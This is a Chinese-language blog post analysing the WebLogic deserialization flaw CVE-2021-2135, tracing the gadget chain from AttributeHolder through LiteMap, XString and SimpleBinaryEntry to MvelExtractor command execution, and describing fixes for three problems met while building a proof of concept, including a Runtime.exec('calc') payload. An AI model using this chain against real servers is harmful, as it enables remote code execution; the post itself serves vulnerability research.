<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】WebLogic CVE-2021-2135分析及POC構造遇到的問題

    VSole2021-08-11 16:23:53

    前言

    早在今年4月 Weblogic發布了安全公告,里面有一個編號是CVE-2021-2135的反序列化漏洞,因為工作原因需要構造該漏洞POC,當時拿到了安全補丁,但是奈何太菜并沒有解出來。后來360CERT發布了分析文章,花了一周多的時間終于把POC構造出來了。現在把分析學習及POC構造中遇到的問題記錄下來。

    4月與1月補丁WebLogicFilterConfig.classdiff后如下,將com.tangosol.internal.util.SimpleBinaryEntry加入了黑名單。

    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"oracle.jdbc.pool.OraclePooledConnection"};
    private static final String[] DEFAULT_WLS_ONLY_BLACKLIST_CLASSES = new String[]{"com.tangosol.internal.util.SimpleBinaryEntry"};
    

    根據補丁反向推漏洞的話主要兩部分命令執行載體和反序列化載體,命令執行載體達到我們執行命令的目的,反序列化載體從反序列化從入口到命令執行載體入口的動態執行,我們先分別來分析下。

    命令執行載體分析

    既然我們已經知道com.tangosol.internal.util.SimpleBinaryEntry在黑名單里,那么我們來分析下com.tangosol.internal.util.SimpleBinaryEntry的特性。

    1、SimpleBinaryEntry的特性

    SimpleBinaryEntry實現了SerializerAware、ExternalizableLite、PortableObject,ExternalizableLite用來處理序列化相關數據。

    public class SimpleBinaryEntry     implements Entry, SerializerAware, ExternalizableLite, PortableObject
    

    SimpleBinaryEntry有2個可序列化屬性和3個不可序列化屬性,其中m_binKey和m_binValue是二進制類型。

    @JsonbProperty("binKey")protected Binary m_binKey; //二進制key,JsonbProperty作用是把該屬性的名稱序列化為另外一個名稱,如把m_binKey屬性序列化為binKey@JsonbProperty("binValue")protected Binary m_binValue; //二進制valueprotected transient Serializer m_serializer;protected transient K m_key;protected transient V m_value;
    

    SimpleBinaryEntry有參構造方法通過傳參BinaryEntry或者key和value給屬性m_binKey和m_binValue賦值:

    public SimpleBinaryEntry(Binary binKey, Binary binValue) {    this.m_binKey = binKey;    this.m_binValue = binValue;}
    

    SimpleBinaryEntry借助m_serializer通過getKey和getValue方法處理另外兩個屬性m_key和m_value。當其沒有被賦值,會調用ExternalizableHelper.fromBinary來處理并返回結果,這時候的m_key和m_value處理后可以是指定類型的實例,而這也是漏洞的關鍵之處,我們可以通過構造將m_key或m_value轉為我們想要的對象。

    public K getKey() {    K key = this.m_key;    if (key == null) {        // 返回的是ExternalizableHelper.fromBinary(this.m_binKey,this.m_serializer)的結果        key = this.m_key = ExternalizableHelper.fromBinary(this.m_binKey, this.getContextSerializer());    }
        return key;}
    public V getValue() {    V value = this.m_value;    if (value == null) {        // 返回的是ExternalizableHelper.fromBinary的結果        value = this.m_value = ExternalizableHelper.fromBinary(this.m_binValue, this.getContextSerializer());    }
        return value;}
    

    SimpleBinaryEntry重寫了toString方法,我們可以通過該方法調用getKey。

    public String toString() {    return "SimpleBinaryEntry(key=\"" + this.getKey() + "\", value=\"" + this.getValue() + "\")";}
    

    我們來看下ExternalizableHelper.fromBinary。

    2、ExternalizableHelper.fromBinary

    ExternalizableHelper.fromBinary最終會調用ExternalizableHelper.deserializeInternal處理,deserializeInternal方法如下,當nType!=21時調用ExternalizableHelper.readObjectInternal讀取對象。

    // serializer可以是SimpleBinaryEntry.this.m_serializer,buf可以是SimpleBinaryEntry.m_binKey或m_binValueprivate static  T deserializeInternal(Serializer serializer, ReadBuffer buf, Function supplierBufferIn, Class clazz) throws IOException {    BufferInput in = buf.getBufferInput();    int nType = in.readUnsignedByte();    switch(nType) {    ...    ...    if (supplierBufferIn != null) {        in = (BufferInput)supplierBufferIn.apply(in);    }    // nType!=21,調用ExternalizableHelper.readObjectInternal    Object o = nType == 21 ? serializer.deserialize(in, clazz) : readObjectInternal(in, nType, ((ClassLoaderAware)serializer).getContextClassLoader());    return realize(o, serializer);}
    

    ExternalizableHelper.readObjectInternal會按照nType的值進行處理,根據ExternalizableHelper.writeObjectnType,在序列化時通過getStreamFormat進行賦值。

    // getStreamFormat:o instanceof ExternalizableLite ? 10,當對象是ExternalizableLite實例,nType=10public static int getStreamFormat(Object o) {    return o == null ? 0 : (o instanceof String ? 6 : (o instanceof Number ? (o instanceof Integer ? 1 : (o instanceof Long ? 2 : (o instanceof Double ? 3 : (o instanceof BigInteger ? 4 : (o instanceof BigDecimal ? 5 : (o instanceof Float ? 14 : (o instanceof Short ? 15 : (o instanceof Byte ? 16 : 11)))))))) : (o instanceof byte[] ? 8 : (o instanceof ReadBuffer ? 7 : (o instanceof XmlBean ? 12 : (o instanceof ExternalizableHelper.IntDecoratedObject ? 13 : (o instanceof ExternalizableLite ? 10 : (o instanceof Boolean ? 17 : (o instanceof Serializable ? 11 : (o instanceof Optional ? 22 : (o instanceof OptionalInt ? 23 : (o instanceof OptionalLong ? 24 : (o instanceof OptionalDouble ? 25 : (o instanceof XmlSerializable ? 9 : 255))))))))))))));}
    

    ExternalizableHelper.readObjectInternal代碼如下,根據序列化數據的類型nType進行反序列化讀取對象,當nType=10,調用readExternalizableLite。

    private static Object readObjectInternal(DataInput in, int nType, ClassLoader loader) throws IOException {    switch(nType) {    case 0:        return null;    case 1:        return readInt(in);    case 2:        return readLong(in);    ......    case 7:        Binary bin = new Binary(); //調用Binary.readExternal反序列化讀取        bin.readExternal(in);        return bin;    ......    case 10:        return readExternalizableLite(in, loader); // 當nType=10,調用readExternalizableLite    case 11:        return readSerializable(in, loader);    ......    case 255:        return readSerializable(in, loader);    default:        throw new StreamCorruptedException("invalid type: " + nType);    }}
    

    在ExternalizableHelper.readExternalizableLite中,會實例化類為value,并且會調用value所屬類的readExternal方法來讀取最終的對象。

    public static ExternalizableLite readExternalizableLite(DataInput in, ClassLoader loader) throws IOException {    ExternalizableLite value;    if (in instanceof PofInputStream) {        value = (ExternalizableLite)((PofInputStream)in).readObject();    } else {        String sClass = readUTF((DataInput)in); // 獲取類名        WrapperDataInputStream inWrapper = in instanceof WrapperDataInputStream ? (WrapperDataInputStream)in : null;
            try {            // 加載并實例化序列化時寫入的類名            value = (ExternalizableLite)loadClass(sClass, loader, inWrapper == null ? null : inWrapper.getClassLoader()).newInstance();            ......        // 調用value的readExternal方法讀取對象        value.readExternal((DataInput)in);        // !!注意這里 當value是SerializerAware的實例,會設置它的Serializer        if (value instanceof SerializerAware) {            ((SerializerAware)value).setContextSerializer(ensureSerializer(loader));        }    }
        return value;}
    

    看到這里我們已經明白了SimpleBinaryEntry本質是Entry,有鍵值對,它的key即m_key屬性、value即m_value屬性,可以通過getKey和getValue設置,而getKey通過ExternalizableHelper.fromBinary來處理,ExternalizableHelper.fromBinary會根據m_binKey的數據類型的不同調用不同的反序列化方法進行讀取,那么我們可以構造m_binKey達到我們命令執行的目的。

    那么到這里我們怎么執行命令?參考之前的漏洞CVE-2020-14756,可以考慮通過com.tangosol.coherence.rest.util.extractor.MvelExtractor#extrace執行命令。

    ExternalizableHelper.readExternalizableLite()        TopNAggregator.PartialResult.readExternal()           TopNAggregator.PartialResult.add()             (AbstractExtractor)MvelExtractor.compare()               MvelExtractor.extract()                 MVEL.executeExpression()
    

    3、TopNAggregator.PartialResult.readExternal()到命令執行

    TopNAggregator$PartialResult實現了ExternalizableLite,其重寫了readExternal(),我們可以通過ExternalizableHelper.readExternalizableLite()調用TopNAggregator$PartialResult.readExternal。

    TopNAggregator$PartialResult.readExternal主要讀取和恢復m_comparator、m_cMaxSize、m_map屬性的數據,其中調用了Comparator.readObject給屬性m_comparator賦值,comparator 可控為 MvelExtractor,m_map是用m_comparator構造的TreeMap實例,并且通過TopNAggregator$PartialResult.add添加map的鍵值對。TopNAggregator$PartialResult.add會調用父類的add方法,最終通過map.put添加數據。

    public void readExternal(DataInput in) throws IOException {    // 這里會調用Comparator.readObject給this.m_comparator賦值    this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);    this.m_cMaxSize = ExternalizableHelper.readInt(in);    //調用SortedBag.instantiateInternalMap    this.m_map = this.instantiateInternalMap(this.m_comparator);    int cElems = in.readInt();
        for(int i = 0; i < cElems; ++i) {        // 調用add        this.add(ExternalizableHelper.readObject(in));    }
        this.m_comparator_copy = this.m_comparator;}
    public boolean add(E o) {    NavigableMap map = this.getInternalMap();
        while(!Base.equals(o, this.unwrap(map.ceilingKey(o)))) {        if (map.put(o, NO_VALUE) == null) {            return true;        }    }    // 調用map.put    map.put(this.wrap(o), NO_VALUE);    return true;}
    

    TreeMap.put()調用TreeMap.compare,最終會調用comparator.compare((K)k1, (K)k2)。

    public V put(K key, V value) {    Entry t = root;    if (t == null) {        // 調用TreeMap.compare        compare(key, key); // type (and possibly null) check        ......        return null;    }    int cmp;    Entry parent;    ......    return null;}
    final int compare(Object k1, Object k2) {    return comparator==null ? ((Comparablesuper K>)k1).compareTo((K)k2) : comparator.compare((K)k1, (K)k2);}
    

    如果這里comparator是我們構造的MvelExtractor實例,MvelExtractor繼承了AbstractExtractor,便可以調用AbstractExtractor.compare,從而調用MvelExtractor.extract達到命令執行的目的。

    # AbstractExtractor.comparepublic int compare(Object o1, Object o2) {    return SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2));}# MvelExtractor.extractpublic Object extract(Object oTarget) {    // 調用MVEL.executeExpression執行命令    return oTarget == null ? null : MVEL.executeExpression(this.getCompiledExpression(), oTarget);}
    

    反序列化載體分析

    1、SimpleBinaryEntry.toString()的觸發

    反序列化到SimpleBinaryEntry.toString()的觸發,在360CERT中提到用com.sun.org.apache.xpath.internal.objects.XString.equals()。當XString.equals()的參數是SimpleBinaryEntry實例時,可以調用SimpleBinaryEntry.toString。

    public boolean equals(Object obj2){  if (null == obj2)    return false;  else if (obj2 instanceof XNodeSet)    return obj2.equals(this);  else if(obj2 instanceof XNumber)      return obj2.equals(this);  else    return str().equals(obj2.toString());//,當傳入的是simpleBinaryEntry,調用SimpleBinaryEntry.toString}
    

    這時候需要觸發XString.equals(simpleBinaryEntry),我們可以考慮Map的put方法,因為Map一般在插入元素時做比較會調用equal,并且Map有個特別之處就是它一般不限制對象的類型,我們可以構造Map的Key或者Value為不同的對象如XString實例或者simpleBinaryEntry實例。

    com.tangosol.util.LiteMap繼承了com.tangosol.util.InflatableMap,InflatableMap.put中當InflatableMap.m_nImpl==1,通過調用Objects.equals(xString, simpleBinaryEntry)可以調用xString.equals(simpleBinaryEntry)。所以LiteMap構造時傳入的Map是map和map。

    public V put(K key, V value) {    switch(this.m_nImpl) {    case 0:        this.m_nImpl = 1;        this.m_oContents = this.instantiateEntry(key, value);        return null;    case 1:        Entry entry = (Entry)this.m_oContents;        K entryKey = entry.getKey();        V prevValue = null;        // this.m_nImpl==1,調用Objects.equals(key, entryKey),Objects.equals(xString, simpleBinaryEntry)        if (Objects.equals(key, entryKey)) {            prevValue = entry.getValue();            entry.setValue(value);        } else {            Entry[] aEntry = new Entry[8];            aEntry[0] = entry;            aEntry[1] = this.instantiateEntry(key, value);            this.m_nImpl = 3;            this.m_oContents = aEntry;        }
            return prevValue;    ...    ...    }}
    public static boolean equals(Object a, Object b) {    // 當a!=b,返回a.equals(b),當a是xString,b是simpleBinaryEntry,a肯定不等于b,調用xString.equals(simpleBinaryEntry)    return (a == b) || (a != null && a.equals(b));}
    

    2、反序列化入口

    那么接下來是找到反序列化入口,必然涉及到readObject或readExternal等類似讀取的方法,如何在這些方法中調用LiteMap.put。com.tangosol.util.processor.ConditionalPutAll實現了com.tangosol.io.ExternalizableLite并重寫了readExternal,在readExternal中構造了LiteMap實例,并且調用了com.tangosol.util.ExternalizableHelper.readMap將map的屬性讀取賦值給LiteMap實例。

    public void readExternal(DataInput in) throws IOException {    this.m_filter = (Filter)ExternalizableHelper.readObject(in);    // 創建LiteMap對象    Map map = this.m_map = new LiteMap();    // 調用ExternalizableHelper.readMap處理map的反序列化    ExternalizableHelper.readMap(in, map, (ClassLoader)null);}
    

    com.tangosol.util.ExternalizableHelper.readMap中調用了map.put,假如oKey=xString、oVal=simpleBinaryEntry,剛好就能調用這里的map是LiteMap的實例,所以會調用com.tangosol.util.InflatableMap.put(xString,simpleBinaryEntry),跟前面的鏈就連上了。

    public static int readMap(DataInput in, Map map, ClassLoader loader) throws IOException {    int cEntries;    if (in instanceof PofInputStream) {        PofInputStream inPof = (PofInputStream)in;        inPof.getPofReader().readMap(inPof.nextIndex(), map);        cEntries = map.size();    } else {        cEntries = in.readInt();
            for(int i = 0; i < cEntries; ++i) {            // 讀取map.key            Object oKey = readObject(in, loader);            // 讀取map.value            Object oVal = readObject(in, loader);            // 調用map.put將key和value添加到map            map.put(oKey, oVal);        }    }
        return cEntries;}
    

    剛開始的時候分析到這里我以為就完成了整個鏈,沒想到忽略了一點-ConditionalPutAll只有readExternal(DataInput in)方法,沒有實現Externalizable,不能傳入ObjectInput,所以不但能作為入口。我們可以用CVE-2020-14756的com.tangosol.coherence.servlet.AttributeHolder作為入口,AttributeHolder實現了Externalizable,并且可以通過調用readExternal(ObjectInput in)調用ExternalizableHelper.readObject(in)

    public void readExternal(ObjectInput in) throws IOException {    this.readExternal((DataInput)in);}
    public void readExternal(DataInput in) throws IOException {    this.m_sName = ExternalizableHelper.readUTF(in);    //通過ExternalizableHelper.readObject可以進一步調用ExternalizableHelper.readObjectInternal    this.m_oValue = ExternalizableHelper.readObject(in);    this.m_fActivationListener = in.readBoolean();    this.m_fBindingListener = in.readBoolean();    this.m_fLocal = in.readBoolean();}
    

     POC構造遇到的三個問題

    在構造POC時,遇到了三個分析了很久才解決的問題:

    • SimpleBinaryEntry.m_binKey的構造問題
    • 不設置SimpleBinaryEntry.m_serializer導致序列化失敗
    • ClassCastException報錯問題導致序列化失敗

    1、SimpleBinaryEntry.m_binKey的構造問題

    最初構造m_binKey時,我用的是TopNAggregator$PartialResult.writeExternal()來寫二進制數據,我忘了很重要的一點,writeExternal()一般序列化只會寫一些屬性,不涉及TopNAggregator$PartialResult自身的序列化,所以我調試到這里始終進不去TopNAggregator$PartialResult.writeExternal(),后來通過ExternalizableHelper解決了。

    ExternalizableHelper.writeObject(dataOutputStream1, partialResult);
    

    2、不設置SimpleBinaryEntry.m_serializer導致序列化失敗

    SimpleBinaryEntry在反序列化時會通過if (value instanceof SerializerAware) {((SerializerAware)value).setContextSerializer(ensureSerializer(loader));}給m_serializer賦值,所以雖然m_serializer時transient類型但是也被賦值了。但是在序列化時,我們需要用setContextSerializer給m_serializer賦值,如果沒有設置m_serializer,會報錯NullPointerException,因為SimpleBinaryEntry的key和value需要利用m_serializer來獲取。調試的時候發現默認使用的是com.tangosol.io.DefaultSerializer,所以我在設置是也用了它。

    Serializer m_serializer= new DefaultSerializer(SimpleBinaryEntry.class.getClassLoader());simpleBinaryEntry.setContextSerializer(m_serializer);
    

    3、ClassCastException報錯問題

    在用y4er CVE-2020-14756的POC時也報了錯:ClassCastException,但不影響執行命令,但是我的POC在序列化也執行了命令,所以才會報這個錯并且導致程序執行不下去。

    執行了SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2)),真正報錯的地方在該方法的((Comparable)o1).compareTo(o2)。因為在傳入參數時調用MvelExtractor.extract(o1)傳值,extract通過MVEL.executeExpression返回結果,extract會把MVEL.executeExpression的結果返回作為o1,當MVEL.executeExpression執行結果是空默認會返回一個java.lang.ProcessImpl對象,ProcessImpl并不是Comparable的子類,所以將ProcessImpl轉為Comparable會報一個轉換錯誤。如何解決呢?既然執行的結果是空才會返回ProcessImpl對象,我只要返回一個實現了Comparable的類的實例就可以解決這個問題,這里我用了Integer。

    MvelExtractor extractor1 = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");return new Integer(1);");
    
    
    weblogicinstanceof
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    去年weblogic出白名單時研究了下怎么繞過,總結出了下面的思路,本想再找找有無新的攻擊面的思路,但是找了幾次都沒找到,后來就擱置了。readMsgAbbrevs函數就會對流中的序列化數據進行反序列化,調用的是InboundMsgAbbrev類的readObject方法,并存儲在棧中。這里也就是之前weblogic的漏洞會觸發的readObject的地方。但是在21年4月的補丁中,Weblogic使用了白名單,只有以下七種類可以被反序列化,因此所有Weblogic原本的漏洞都無法使用。
    早在今年4月 Weblogic發布了安全公告,里面有一個編號是CVE-2021-2135的反序列化漏洞,因為工作原因需要構造該漏洞POC,當時拿到了安全補丁,但是奈何太菜并沒有解出來。
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    信息搜集:開源情報信息收集、創建企業密碼字典進入內網:基于企業弱賬號漏洞、基于系統漏洞進入、網站應用程序滲透隱匿攻擊:Command and Control、代理內網跨邊界應用:內網跨邊界轉發、內網跨邊界代理穿透、shell反彈等
    WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。
    簡介WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。
    WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。
    本篇文章是WebLogic中間件漏洞復現,記錄了近幾年來爆出的WebLogic中間件漏洞主要分為六個部分:WebLogic簡介、WebLogic安裝、WebLogic漏洞復現、WebLogic SSRF聯動Redis、WebLogic實戰和WebLogic防御措施。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类